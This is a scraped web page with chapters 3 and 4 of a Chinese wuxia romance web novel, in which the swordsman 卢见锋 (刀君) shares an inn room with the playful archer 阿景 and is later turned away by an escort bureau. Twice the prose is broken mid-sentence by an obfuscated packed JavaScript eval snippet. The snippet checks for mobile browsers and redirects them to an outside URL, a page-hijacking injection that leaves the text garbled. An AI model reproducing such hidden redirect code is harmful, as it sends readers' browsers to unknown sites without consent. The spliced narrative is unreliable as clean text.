《落魄刀君不想当杀手》 3. 第 3 章 卢见锋在离茶楼最近的客栈开了一间上房,一打开房门就和房间里的人对上了视线。 一回两回也就罢了,这第三回也太离谱了吧?他刚刚开的是空房间没错吧?为什么刚刚在茶楼柜台旁的家伙现在会出现在他开的房间里? 卢见锋气笑了,转身准备下楼换一间房,坐在床上对他笑的小公子立刻跳起来拉了一把卢见锋的衣袖,迅速蹿到卢见锋前面将房门关上。 “这家客栈就剩这一间上房了,没法换的,难道你要赶我去大通铺吗?你知道我是断袖的,对大家的名声不太好吧?”小公子语速飞快地解释完原因,顺带倒打一耙,可怜巴巴地对卢见锋眨眼睛。 卢见锋一时不知该从哪个字开始反驳。和他睡一间房又能好到哪里去吗?他也是男人啊!而且为什么不去其他客栈?曲城又不是只剩这一家客栈了。 脑中闪过的字句一时太过繁杂,卢见锋沉默片刻后放弃了说这么多话,只说了一句结论:“你随便。这间房是我出的钱,我睡床。” 小公子点点头,非常爽快地答应了:“没问题,我也睡床上。” 卢见锋正欲转身放下自己的包袱,闻言再次皱了眉头看向小公子,满脸写着不敢置信。 “你想和我一起睡?我们很熟吗?” 经过这一天的三次见面,卢见锋终于意识到无视和逃避无法解决问题,开始尝试理解小公子的思路。 伶牙俐齿的小公子难得沉默了,他避开卢见锋的视线,半晌才答非所问:“我的名字里有一个景,你可以叫我阿景。” 阿景……卢见锋在脑海中过了一遍自己闯荡江湖的这十年里听过的名号,确信其中没有名字带景的弓箭手。 不如说,江湖上根本就没有弓箭手。江湖上的争斗大多是单打独斗、贴身战斗,而弓箭是一种不利于单打独斗的武器,它在军队中才能发挥最大的作用。 卢见锋抬头望向在他进门之前就已经被阿景挂在墙上的弓箭,问道:“你比我来得早,为什么不自己定下这间房间,而是偷偷潜入?如果你先定下,我自然就去别的客栈休息了。” 阿景犹豫了一会儿,慢慢挪到卢见锋身边观察他的神情,小声回答:“……你明明已经看出来了,我是在等你。” 卢见锋印证了自己的猜测,却有些不适应过近的距离和阿景的这般情态,下意识地移开视线:“虽然你也在场,但目标是我解决的,酬金不可能分给你。” “……什么?”阿景愣了一会儿,反应过来卢见锋的意思,整个人瞬间放松,扯了一把卢见锋的袖子,笑了起来。 “我没想做那个任务,我只是……在街上看到你,看到你走进那家茶楼,我就在你之后进店,和你拿了一样的东西。后来看到你动手,我才知道你拿的那是什么东西。” 卢见锋得到了完全没想过的答案,一时有些懵了。 这都什么跟什么?阿景是在城里的街上看到他的?为什么要跟着他?他竟然被陌生人跟了一路都没发现? “你在街上看到我,是第一次见到我吗?你跟着我做什么?”卢见锋百思不得其解。 阿景没有直接回答卢见锋的问题,他眨了眨眼,道:“大侠,实不相瞒,你长得很对我胃口。” 此时的阿景看起来格外人畜无害,倒真像他一开始说的,是一个温顺的读书人模样了。 卢见锋只敢和这样的阿景对视一瞬间,立刻移开了目光。 光是在卢见锋记忆里两人的对话中,阿景就没少睁眼说瞎话。理智地说,卢见锋不应该相信他。 但面对这样一张脸,这样可怜又讨好的眼神,卢见锋不禁心中犹豫。 这话该不该信?该信几成?阿景到底是什么人?行走江湖多年却从没见过美男计的卢见锋陷入了沉思。 阿景望着卢见锋沉默思索的模样,极快地笑了一下,在卢见锋察觉之前就收敛了笑容,率先自然地坐在了床沿。 卢见锋见阿景似乎铁了心要睡床上,低头看了看自己的弯刀,又观察过客栈脆弱的床榻,无奈放弃了用刀来隔开两人的想法,象征性地把房间里备用的被褥抱上床堆在中间。 这一回阿景没有和卢见锋作对,乖巧地帮忙将被褥折叠成有一定高度的分界线,在床铺中央摆好。 勉强算是谈妥了,卢见锋这才去洗净一身尘土,又拿出那一柄弯刀,在月色和烛火中仔细养护。 阿景脱了外袍,只着中衣坐在床上,远远地看着坐在桌边的卢见锋和模样精巧的弯刀,眨眼间掩去眼底心绪,语气如常地问道:“大侠,你身材这么高大,这把刀对你来说好像有些小了,你为什么要用它呢?” 卢见锋摩挲着刀柄上温润的玉石,这把弯刀的锻造和装饰都价值不菲,与他平日的风格并不相称,但定制这把刀的人花了许多心思,用设计将华贵的用料内敛于刀身,让少年时的卢见锋用得很是趁手。 “它陪了我十年。”卢见锋没有多作解释,只简单说了一句,然后抬头看向阿景,“你已经看到了,我是拿人命换钱的人,不是什么行侠仗义的侠客,何必叫我大侠。” 阿景眨了眨眼,又把问题丢了回去:“那,你希望我如何称呼你呢?” 这话说得……卢见锋几乎可以肯定,阿景是个假名字,而且这个小骗子还想让卢见锋也骗一骗他。 但卢见锋不擅长编谎话,也想不出来假名字,沉默半晌后只能摇头。 阿景似乎对卢见锋这副情绪低落的模样很是不满,当即鼓起脸颊,片刻后叹了口气:“你说你不是侠客,可是,就算我今天一而再再而三地对你口出狂言、得寸进尺,你也没有快刀解决我这个麻烦,而是对明明素不相识的我一再包容。” 阿景抿唇停下,似乎在等待卢见锋反驳。 卢见锋没有看他,低头将弯刀重新包好,从简陋的包袱外表看,这就像一把普通的柴刀。 卢见锋无法否认阿景对他的这些认知,他清楚自己确实是这样的人。 明明想要行侠仗义、快意江湖,却沦落到要靠取人性命来养活自己的地步。 即使如此,他依然不愿意随意地杀人,而是在靠任务赚钱之前,当掉自己的其中一把武器,先花了情报钱去了解这些人物究竟做过什么样的事、该不该杀。 但江湖上的恩恩怨怨哪能那么清晰,经过卢见锋的挑挑拣拣,竟然时至今日才算开了较为丰厚的一单。 “唉,不愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320783|199039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说就算了。”阿景又叹了一口气,一改方才闲适的模样,爬起来端坐在床上,神情十足认真。 “为表诚意,我先说明我的来意。我不是在大街上偶然遇到你的,我是您的仰慕者,并且我希望能与您同行,刀君。” 卢见锋诧异地抬眼一瞥阿景,很是怀疑地又看了自己的刀一眼。 如果阿景早就知道卢见锋是刀君,那他到底是从什么时候开始跟着自己的?在阿景从树林里笑出声之前,卢见锋竟然完全没有察觉? 虽然弓箭手一般是会专门练习出较强的隐蔽能力,但这家伙也太…… 卢见锋皱眉,盯着阿景的眼睛:“你既然知道我是刀君,为什么之前这么在意这把弯刀?我记得刀君传说里广为流传的是另一把魔刀。” 阿景张着嘴一时卡了壳,半晌才找到理由:“啊……我在意的不是弯刀本身,而是你究竟是直的还是弯的这件事。我心悦于您,发自内心地希望您能与我是相同的取向,这样我追到您的胜算才大一点。” “……你说的仰慕者,是这种仰慕吗?”卢见锋不由笑了一声,他已经数不清这是阿景第几次给出完全出乎他意料的答案了。 阿景眨了眨眼,又一次摆出那副惹人怜爱的表情,端坐的姿势也松懈些许,一言不发地盯着卢见锋看。 现在卢见锋可以确信了,阿景是故意对他展露这种模样,企图以此来获得卢见锋的同情。 ……确实挺有效的。卢见锋不得不移开视线,叹了口气:“既然你是为刀君传说而来,你不问我魔刀去哪里了吗?” 阿景皱眉,重新坐直了,第一次让卢见锋听到他有些生硬的语气:“我是来找刀君的,而不是追寻虚无缥缈的刀君传说。你是你,江湖传说是旁人添油加醋的结果,我知道你和传说里是不一样的。” 卢见锋瞧着他这副模样,愣了一下,低头笑了起来:“你听起来很了解我,但今天之前我并不认识你。你说你认识的不是传说里的我,那你又是从哪里认识我的?” 阿景抿唇,这个问题他答不上来,只能在沉默之后硬着头皮还给卢见锋一个更难回答的问题。 “刀君大人,你当时为什么会对任务目标脱口而出‘直’、‘弯’这样的字眼呢?我指的不是你的取向,而是……如果我没记错,对于好男风的男子,旁人一般形容其有龙阳之好、断袖之癖。” 卢见锋心头一跳,阿景的话还没说完,他就意识到了问题所在。 “直和弯是两个并无典故的字眼,你是如何得知这两个字能用于形容取向的?”阿景紧盯着卢见锋,轻声问道。 卢见锋沉默了。与他有些私交的人们大多知道卢见锋一向看不惯断袖,而这两个字眼的新鲜用法便是出自专讲断袖故事的话本,他理应不知道的。 事已至此,只能寄希望于身为断袖的阿景并没有看过那个话本了。 卢见锋硬着头皮答了个含糊其辞:“我……那间茶楼里,每日都有说书先生讲说时兴的话本故事,我在茶楼里交接任务,偶尔听过几段,其中有过这样的形容。” 显然,连卢见锋这样的直男都听过的畅销话本,阿景不可能没听说过。他忍不住笑出了声,仰倒在床上。 4.第 4 章 卢见锋提出的几个问题都被阿景四两拨千斤般避开了,阿景明显不愿意回答那些问题。 若要刨根问底,那就太麻烦了。 反正目前看来阿景至少不会害他,卢见锋稍作思考便放弃了继续追问,收拾一番坐到床边。 阿景笑了一会儿,没有点破卢见锋自称直男还听了不少断袖话本的事,而是瞥了在他身边解外袍的卢见锋一眼,顺着刚刚笑倒的姿势挪到床里侧躺好,还贴心地将堆在中间的被褥重新摆弄规整。 时辰不早了,卢见锋没有多说什么,收着手脚就这么凑合躺在半张床上。 这一晚上,他们当然什么都没有发生。 与白日里的机灵模样不同,睡梦中的阿景甚至称得上乖巧。他严格遵守界线,将手脚都收进被子里,几乎是闭上眼就睡着了,而且睡相极好。 卢见锋身高腿长,半张床的空间对他来说太狭窄了,翻身都困难。他闭眼又睁眼,无意识地盯着天花板,许久都没能睡着,干脆趁夜梳理思绪。 阿景虽然话多了些,但举手投足间看得出来很有教养,再加上他在茶楼里穿的那一身华服,以及那匹健硕的骏马,卢见锋可以肯定阿景出身贵族。 卢见锋白日里在城外观察过,阿景的手上有一些不太明显的茧子,在这样面皮白净的俊俏公子身上很少见,可见他确实是一名弓箭手。 弓箭手在近身时的自保能力较弱,一般都会携带匕首或是短刀用于防身,而阿景却没有。 若能与人结伴行走江湖,倒是不用担心被敌人近身,阿景却独身一人……难道这就是阿景接近他、想要与他同行的原因? 从这些方面综合来看,阿景像是将领后裔,学了一身骑射之术却不喜领军,从家中跑出来闯江湖了。 想到这里,卢见锋的视线不由地落在阿景的侧脸,想起他在睡前说的“仰慕”之语。 一开始听到阿景说出那些话,卢见锋是不相信的。 卢见锋自认为他只是一个刀法比较好的江湖人,“刀君”这个名号的诞生只是因为他不喜欢和人交谈、不想说出自己的真名、编不出合适的假名,旁人自然为他起了这么一个称号,所谓的刀君传说也只是刀君名号在人们口口相传中衍生的故事罢了。 卢见锋看得出来,阿景是个聪明人,应当不会相信那些虚无缥缈的刀君传说。同样,他认为阿景也不是一个只看容貌就决定追随的肤浅之人。 既然如此,阿景是为了什么而找到他、跟着他呢? 卢见锋看着阿景安静乖巧的睡颜,回忆起十年前的自己。十二岁的卢见锋第一次下山离家,面对偌大江湖时他是有些茫然的,绝对没有阿景今日表现出的这么强的目的性。 这样看来,难道……如果阿景一开始离家出走就是为了找到刀君,卢见锋就有点头疼了。 卢见锋不排斥和阿景这样聪明又有活力的年轻人做朋友,但阿景出身不凡,卢见锋想起自己想做的那些事,如果让阿景一直跟着他…… 罢了,明天再去一趟曲城镖局吧。卢见锋无声地叹了口气,终于察觉到迟来的困意,合眼一觉到天亮。 次日清晨,卢见锋在察觉到响动的第一时间就睁开了眼,正对上阿景明显带着困意的双眼。 卢见锋瞬间就清醒过来,回忆起了昨天发生的一切,面上神色平静地对阿景点了点头,独自起床整理。 等卢见锋收拾完又叫了店家送来早餐,他一回头,却见阿景还坐在床上睡眼惺忪。 “你要在这里睡一天吗?”卢见锋瞥了阿景一眼,坐下先尝了一口,这家客栈的早餐还算不错。 阿景愣了一会儿,突然眼睛一亮:“你愿意带我走了!” 卢见锋面色平静,先将嘴里的食物仔细咽下,再缓声回答:“我今日要去办两件事,如果至少有一件事顺利,就能带你走。” 阿景立刻笑了起来,仿佛卢见锋的事情已经办妥了。他一改方才困顿模样,动作迅速地收拾完自己,坐到卢见锋身边一道用餐。 两人很快吃完早餐,并肩走在曲城清晨的街道上。 卢见锋瞥了一眼两手空空的阿景,忍不住问道:“你就这样什么都不带吗?弓箭可以留在马匹身上,换洗衣物呢?” 阿景摆了摆手,理所当然地说道:“带衣服太麻烦啦,我有全国连锁成衣庄的会员,只要不去太偏远的城市,需要的时候直接去店里取衣服就行了。” 卢见锋沉默了,这个什么全国连锁会员一听就很昂贵,阿景的家世好像比他想象的还要富贵。 谢氏王朝尚武之风盛行,卢见锋虽是江湖草莽,也见过一些军人将领,知道大多数将军府都会从衣食住行各方面严格管教子弟,很少见到哪家青年如此爱美,除非这样一大笔支出在府中只能算稀疏平常。 “刀君大人,不知今日要去办什么事呢?不如提前和我说说,小人为您参谋参谋,也好提高成功率嘛。”阿景显然心情很好,问个问题还有闲心和卢见锋演戏玩。 卢见锋对着这个夸张的称呼沉默了一会儿,假装没听见,只回答后面的问题:“先去曲城镖局,我想再试试能不能接镖。” 阿景点头,没有像卢见锋预料的一样追问他为什么之前要接杀人的任务,而是一句话点出关键:“之前没有人雇你做镖师吗?以你的身手,这不应该。‘魔刀’不在你手里了,和这件事有关吗?” 卢见锋惊讶地看了阿景一眼,点头:“前些时日不知从哪传出风声,有人说刀君被魔刀反噬控制了。我辗转多个城镇,几乎每一家镖局都相信了这个传闻,担心我走火入魔杀了雇主。我没办法证明我只是我自己,所以我把那柄直刀当了。” “你是什么时候当掉那把直刀的?”阿景向卢见锋那边靠近了些,兴奋地问道。 卢见锋下意识地后仰稍微拉开距离,顿了一会儿又默默回到原位。 他没想到阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330082|199039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景听到他当了直刀,第一反应居然是问时间。 虽然阿景说过他追随的不是刀君传说,但卢见锋这几年见过了太多所谓的刀君追随者,他们对魔刀尤其重视,甚至衍生出了以魔刀择主为核心的刀君传说。 天知道卢见锋第一次偶然在酒楼里听到“魔刀会选择自己的主人,而它选中的主人会在魔刀的帮助下成为刀君”这个故事时有多尴尬。 如果让那些追随者知道卢见锋随便找了家当铺就当了魔刀,他们绝对不会像阿景这样面露兴奋的神色。 “忘了,大约是三个月前,也可能是半年。”卢见锋摇头,想不起来,也浑不在意。 “啊——怎么忘了,这么关键的素材……”阿景的表情顺便变为沮丧,越说越小声,渐渐低下头去。 以卢见锋的耳力,自然能听清阿景的小声嘀咕,但是…… “何谓素材?”卢见锋不明所以。 卢见锋听说过,铸剑的工匠有时会把铁矿石叫做素材,可阿景刚才问的是时间,应当与武器铸造无关。 阿景猛地抬起头,似乎才意识到自己说出声了,哈哈一笑,视线乱飘:“素材就是,嗯……诶,大侠你看,到镖局了。” 卢见锋顺着阿景的视线望去,点了点头,依然礼貌地不再追问阿景不愿意回答的问题。 天光熹微,镖局里没几个人在活动。卢见锋径直进门,一路走到正堂的任务板前,翻到第二张单子时才有镖局的伙计发现了他。 “刀君大人,您……” 镖局伙计下意识地伸出手想要阻止卢见锋翻阅任务单,卢见锋闻言抬眼一瞥,伙计立刻收回手,讪讪地闭了嘴。 “你们掌柜的不在吗?”卢见锋无意吓唬普通伙计,只问了他一个问题。 镖局伙计僵在原地,数息后扯了扯嘴角,小心地回道:“掌柜的……他说,如果刀君大人来了,就劝您请回吧。不是我们为难您,主要是……曲城里南来北往的商人们如今都听过了魔刀的凶名,那些商人本来就是怕死才雇镖师的,所以更不可能……” 镖局伙计嗫嚅了一会儿,没把话说尽。 卢见锋点头,这一次也是和前几次差不多的结果,在他预料之内。 “走吧。”卢见锋放下任务单,拍了拍阿景的肩膀,转身向外走去。 两人刚刚迈进镖局大门,只待了不到一盏茶的时间,他们又一次踏过门槛离开了镖局。 阿景难得和卢见锋一样沉默,一路上偷偷看向卢见锋好几次,却一次都没有开口。 卢见锋自然注意到了阿景游移的目光,他忍了两回,在第三回时转头对上了阿景的视线:“在今天之前、我当了直刀之后,也曾来镖局问过,当时的结果和现在一样。即使我手上已经没有所谓的魔刀,他们依然不相信我是一个纯粹的人。” “既然如此,我还是把直刀赎回来吧。虽然它并不是魔刀,但也算是一把称手的武器。”